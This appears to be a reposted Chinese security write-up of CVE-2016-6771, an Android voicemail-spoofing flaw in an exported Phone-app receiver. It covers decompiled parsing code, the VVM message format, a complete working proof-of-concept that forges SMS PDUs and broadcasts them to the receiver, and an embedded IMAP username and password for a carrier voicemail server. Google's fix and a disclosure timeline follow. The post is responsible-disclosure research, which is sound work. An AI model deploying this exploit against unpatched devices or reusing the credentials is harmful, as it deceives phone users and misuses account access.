CVE-2016-6771: Android语音信箱伪造漏洞分析
谷歌近期对外公布了12月份的安全公告,其中包含腾讯安全平台部终端安全团队提交的语音信箱伪造漏洞(CVE-2016-6771),该漏洞可导致恶意应用进行伪造语音信箱攻击。目前谷歌已经发布补丁,本文将对该漏洞进行分析。
漏洞概述
Phone应用中存在一处未受保护的暴露组件com.android.phone.vvm.omtp.sms.OmtpMessageReceiver,该组件接收来自外部的Intent,解析承载的VVM协议,构造语音信箱。该漏洞可以被本地恶意应用触发,进行伪造语音信箱攻击。该漏洞属于比较常规的暴露组件问题。
漏洞详情
在对AOSP中系统应用进行分析时,发现系统应用TeleService.apk(com.android.phone)存在一处暴露组件,该组件为com.android.phone.vvm.omtp.sms.OmtpMessageReceiver。根据组件名字应该是处理某类消息的组件,回想起以前谷歌出现的短信伪造漏洞,于是决定尝试进行分析,看是否存在该类漏洞。
由于该组件是一个广播接收者,于是分析onReceive回调函数处理逻辑,代码如下:
public void onReceive(Context context, Intent intent) {this.mContext = context;this.mPhoneAccount = PhoneUtils.makePstnPhoneAccountHandle(intent.getExtras().getInt("phone"));if(this.mPhoneAccount == null) {Log.w("OmtpMessageReceiver", "Received message for null phone account");return;}if(!VisualVoicemailSettingsUtil.isVisualVoicemailEnabled(this.mContext, this.mPhoneAccount)) {Log.v("OmtpMessageReceiver", "Received vvm message for disabled vvm source.");return;}//开始解析intent,将intent承载的额外数据还原为SmsMessage(短信消息)SmsMessage[] v5 = Telephony$Sms$Intents.getMessagesFromIntent(intent);StringBuilder v3 = new StringBuilder();int v0;//把短信消息的body提取出来并合并for(v0 = 0; v0 < v5.length; ++v0) {if(v5[v0].mWrappedSmsMessage != null) {v3.append(v5[v0].getMessageBody());}}//通过OmtpSmsParser.parse对短息消息的body(vvm协议)进行解析封装到对应处理类WrappedMessageData v4 = OmtpSmsParser.parse(v3.toString());//根据不同的协议执行不同功能if(v4 != null) {if(v4.getPrefix() == "//VVM:SYNC:") {SyncMessage v2 = new SyncMessage(v4);Log.v("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());LocalLogHelper.log("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());this.processSync(v2);}else if(v4.getPrefix() == "//VVM:STATUS:") {Log.v("OmtpMessageReceiver", "Received STATUS sms for " + this.mPhoneAccount.getId());LocalLogHelper.log("OmtpMessageReceiver", "Received Status sms for " + this.mPhoneAccount.getId());this.updateSource(new StatusMessage(v4));}else {Log.e("OmtpMessageReceiver", "This should never have happened");}}}
1.当intent承载的额外数据phone为存在的PhoneAccount且isVisualVoicemailEnabled的时候,会进入vvm协议的解析流程;
2.解析流程中首先通过Telephony$Sms$Intents.getMessagesFromIntent,把intent里承载的额外数据构造成SmsMessage,通过查看对应处理方法,可以知道intent承载的额外数据可以是3gpp短信消息结构;
public static SmsMessage[] getMessagesFromIntent(Intent intent) {Object[] messages;try {//提取pdus原始数据messages = (Object[]) intent.getSerializableExtra("pdus");}catch (ClassCastException e) {Rlog.e(TAG, "getMessagesFromIntent: " + e);return null;}if (messages == null) {Rlog.e(TAG, "pdus does not exist in the intent");return null;}//获取短消息格式类型String format = intent.getStringExtra("format");int subId = intent.getIntExtra(PhoneConstants.SUBSCRIPTION_KEY,SubscriptionManager.getDefaultSmsSubscriptionId());Rlog.v(TAG, " getMessagesFromIntent sub_id : " + subId);int pduCount = messages.length;SmsMessage[] msgs = new SmsMessage[pduCount];//构造短信消息for (int i = 0; i < pduCount; i++) {byte[] pdu = (byte[]) messages[i];msgs[i] = SmsMessage.createFromPdu(pdu, format);msgs[i].setSubId(subId);}return msgs;
}
3.从短信消息结构中提取出body部分,交由OmtpSmsParser.parse解析,流程如下:
package com.android.phone.vvm.omtp.sms;
import android.util.ArrayMap;
import android.util.Log;
import java.util.Map;
public class OmtpSmsParser {private static String TAG;static {OmtpSmsParser.TAG = "OmtpSmsParser";}public OmtpSmsParser() {super();}public static WrappedMessageData parse(String smsBody) {WrappedMessageData v4 = null;if(smsBody == null) {return v4;}WrappedMessageData v0 = null;//短息消息需要满足前缀if(smsBody.startsWith("//VVM:SYNC:")) {v0 = new WrappedMessageData("//VVM:SYNC:", OmtpSmsParser.parseSmsBody(smsBody.substring("//VVM:SYNC:".length())));if(v0.extractString("ev") == null) {Log.e(OmtpSmsParser.TAG, "Missing mandatory field: ev");return v4;}}else if(smsBody.startsWith("//VVM:STATUS:")) {v0 = new WrappedMessageData("//VVM:STATUS:", OmtpSmsParser.parseSmsBody(smsBody.substring("//VVM:STATUS:".length())));}return v0;}//前缀之后需要满足的消息结构private static Map parseSmsBody(String message) {ArrayMap v3 = new ArrayMap();String[] v0 = message.split(";");int v6 = v0.length;int v4;for(v4 = 0; v4 < v6; ++v4) {String[] v2 = v0[v4].split("=");if(v2.length == 2) {((Map)v3).put(v2[0].trim(), v2[1].trim());}}return ((Map)v3);}
}
通过分析解析流程,可以知道vvm协议由//VVM:STATUS或者//VVM:SYNC开头,后面有多个字段,由“;”分号作为分割,“=”等号作为键值对,通过分析StatusMessage(v4),SyncMessage(v4)的构造函数
public SyncMessage(WrappedMessageData wrappedData) {super();this.mSyncTriggerEvent = wrappedData.extractString("ev");this.mMessageId = wrappedData.extractString("id");this.mMessageLength = wrappedData.extractInteger("l");this.mContentType = wrappedData.extractString("t");this.mSender = wrappedData.extractString("s");this.mNewMessageCount = wrappedData.extractInteger("c");this.mMsgTimeMillis = wrappedData.extractTime("dt");}public StatusMessage(WrappedMessageData wrappedData) {super();this.mProvisioningStatus = wrappedData.extractString("st");this.mStatusReturnCode = wrappedData.extractString("rc");this.mSubscriptionUrl = wrappedData.extractString("rs");this.mServerAddress = wrappedData.extractString("srv");this.mTuiAccessNumber = wrappedData.extractString("tui");this.mClientSmsDestinationNumber = wrappedData.extractString("dn");this.mImapPort = wrappedData.extractString("ipt");this.mImapUserName = wrappedData.extractString("u");this.mImapPassword = wrappedData.extractString("pw");this.mSmtpPort = wrappedData.extractString("spt");this.mSmtpUserName = wrappedData.extractString("smtp_u");this.mSmtpPassword = wrappedData.extractString("smtp_pw");}
可以知道,程序要解析vvm协议如下:
//VVM:STATUS:st=xxx;rc=0;rs=xxx;srv=xxx;tui=xxx;dn=xxx;ipt=xxx;u=xxx;pw=xxx;spt=xxx;smtp_u=xxx;smtp_pw=xxx
//VVM:SYNC:ev=xxx;id=xxx;l=xxx;t=xxx;s=xxx;c=xxx;dt=xxx;srv=xxx;ipt=xxx;u=xxx;pw=xxx
4.根据vvm协议,构造不同的数据结构,最后根据不同的协议执行不同的流程。
5.在测试过程中,发现//VVM:SYNC可以指定来源,伪造任意号码。而如果要在进入可视化语音邮箱界面,点击播放语音时能够产生语音的下载,需要事先有//VVM:STATUS协议,这样在点击播放时才会去对应的服务器进行账号登录,获取数据(具体的测试本人并深入去测试,如有错误望大家指正),相关vvm协议可以参考资料[1]和[2]。
POC如下:
构造一个短信消息结构,其中body为符合相关解析流程的//VVM协议,就可以让OmtpMessageReceiver根据外部intent承载的额外数据构造伪造的语音信箱。其中,较早版本的Android系统曾经出现过伪造短信的漏洞,直接利用那段代码[3],构造短信消息可以。
@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);statusButton = (Button) findViewById(R.id.status_btn);syncButton = (Button) findViewById(R.id.sync_btn);statusButton.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View view) {//VVM:STATUS消息createFakeSms(MainActivity.this, "100000", "//VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9");}});syncButton.setOnClickListener(new View.OnClickListener() {@Overridepublic void onClick(View view) {//VVM:SYNC消息createFakeSms(MainActivity.this, "100000", "//VVM:SYNC:ev=NM;c=1;t=v;s=12345678;dt=09/16/2016 10:53 -0400;l=7;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;");}});}//构造短信消息private static void createFakeSms(Context context, String sender,String body) {byte[] pdu = null;byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD("0000000000");byte[] senderBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(sender);int lsmcs = scBytes.length;byte[] dateBytes = new byte[7];Calendar calendar = new GregorianCalendar();dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));try {ByteArrayOutputStream bo = new ByteArrayOutputStream();bo.write(lsmcs);bo.write(scBytes);bo.write(0x04);bo.write((byte) sender.length());bo.write(senderBytes);bo.write(0x00);bo.write(0x00); // encoding: 0 for default 7bitbo.write(dateBytes);try {String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";Class cReflectedNFCExtras = Class.forName(sReflectedClassName);Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod("stringToGsm7BitPacked", new Class[] { String.class });stringToGsm7BitPacked.setAccessible(true);byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,body);bo.write(bodybytes);} catch (Exception e) {}pdu = bo.toByteArray();} catch (IOException e) {}//构造待发送的intentIntent intent = new Intent();intent.setClassName("com.android.phone","com.android.phone.vvm.omtp.sms.OmtpMessageReceiver");intent.putExtra("phone",0);intent.putExtra("pdus", new Object[] { pdu });intent.putExtra("format", "3gpp");context.sendBroadcast(intent);}private static byte reverseByte(byte b) {return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) <<4);}
实际效果
可以伪造语音信箱来源为12345678,欺骗用户
修复方案
谷歌的修复方案是设置该组件为不导出
https://android.googlesource.com/platform/packages/services/Telephony/+/a39ff9526aee6f2ea4f6e02412db7b33d486fd7d
时间线
• 2016.09.17 提交漏洞报告至Android issue Tracker
• 2016.10.04 确认漏洞,ANDROID-31566390
• 2016.10.27 分配CVE-2016-6771
• 2016.12.06 谷歌公告
参考
[1].https://shubs.io/breaking-international-voicemail-security-via-vvm-exploitation/
[2].http://www.gsma.com/newsroom/wp-content/uploads/2012/07/OMTP_VVM_Specification13.pdf
[3].(http://stackoverflow.com/questions/12335642/create-pdu-for-android-that-works-with-smsmessage-createfrompdu-gsm-3gpp)
CVE-2016-6771: Android语音信箱伪造漏洞分析相关推荐
- CVE-2016-6771: Android 语音信箱伪造漏洞分析
谷歌近期对外公布了12月份的安全公告,其中包含腾讯安全平台部终端安全团队提交的语音信箱伪造漏洞(CVE-2016-6771),该漏洞可导致恶意应用进行伪造语音信箱攻击.目前谷歌已经发布补丁,本文将对该 ...
- android语音信箱功能,语音信箱的功能有哪些?
语音信箱的功能有哪些?,语音信箱的功能有哪些?业务功能有: 1.留言 来访者可主动拨入信箱系统给信 语音信箱的功能有哪些? 业务功能有: 1.留言 来访者可主动拨入信箱系统给信箱主人留言,信箱主人也可 ...
- CVE-2014-7911 Android本地提权漏洞分析与利用
概述 前面我们了解了Android Binder机制的基本原理,当然仅仅了解是不够的,我们要做到:Know it and hack it.这篇文章我们就来分析一个和Binder相关的漏洞:CVE-20 ...
- android super参数,Android Superuser 提权漏洞分析
近日,国外安全研究人员揭露多款Android平台下的授权应用管理软件存在3个安全漏洞,利用漏洞可进行root. TSRC也对这3个Android Superuser 提权漏洞进行了分析,具体分析情况请 ...
- android语音信箱功能,android预置默认的语音信箱号码具体实现
有些SIM卡在出厂时并没有预置VoiceMail number,但运营商又要求能够根据PLMN去自适应的从手机中读取到预设的VM number.在此介绍以xml的方式预置VM number的方法,以及 ...
- 某CCTV摄像头漏洞分析
mickey · 2016/02/18 11:02 0x00 漏洞分析 今天看老外分析了一款廉价CCTV摄像头的文章,地址在www.pentestpartners.com/blog/pwning-,摄 ...
- Android自定义权限CVE漏洞分析 (IEEE论文)
文章目录 前言 自定义权限早期漏洞 1.1 Android权限机制 1.2 自定义权限升级漏洞 1.3 confused deputy attack 自定义权限近期漏洞 2.1 黑盒Fuzz工具原理 ...
- Android 预置默认的语音信箱号码
前言 欢迎大家我分享和推荐好用的代码段~~ 声明 欢迎转载,但请保留文章原始出处: CSDN:http://www.csdn.net ...
- 基于MTK平台的Android预制语音信箱号码
我们可以将预制的语音信箱号码写到xml文件夹中. 一般路径为: vendor\mediatek\frameworks\telephony\etc 下的voicemail-conf.xml. <? ...
最新文章
- NSPredicate的使用
- CRM呼叫中心里interaction record的设计逻辑
- python udp创建addr_一篇文章搞定Python 网络编程之UDP协议
- Nodejs开发框架Express3.0开发手记–从零开始
- JAVA开发第一步——JDK 安装
- ibatis返回结果映射到HashMap时,列名无效的问题
- Android开发工具集合
- 简单c语言程序例子与运行结果图,C语言程序第一次作业
- 2015-5-10分享pdf
- 行为树(Behavior Tree)详细介绍
- geoserver发布shp格式的图层 实现步骤(含图).doc
- 解决VScode输入 英文感叹号+tab键 无法自动生成HTML模板
- 转自【MDCC技术大咖秀】Android内存优化之OOM
- 蠕虫病毒Synaptics.exe感染日记
- 4.7 Case Study on Sandy Bridge C…
- 中兴华为继续应诉欧盟无线网卡反倾销
- Linus Torvalds 发布 Linux Kernel 5.9,引入各种新功能与改进
- IOS 插屏广告弹窗
- java——final关键字、权限、内部类、引用类型
- zipkin ui界面详解
热门文章
- 【论文阅读】An Empirical Evaluation of Generic Convolutional and Recurrent Networks for Sequence Modeling
- 不论你技术多牛逼,30岁后,这3件事越早做越好!
- python机器学习 多项式回归模型正则化(拉索,岭,弹性网)
- 计算机视觉-图像识别分类线性分类器
- Hadoop 生态之 MapReduce 及 Hive 简介
- soa和微服务的区别
- 实验硬点数据拟合(python版)
- linux内核读取smbios,linux – dmidecode在哪里获得SMBIOS表?
- 篮球比赛技术统计效率值
- 机器学习工具(一)——Windows 7 下安装 Tensorflow_CPU 版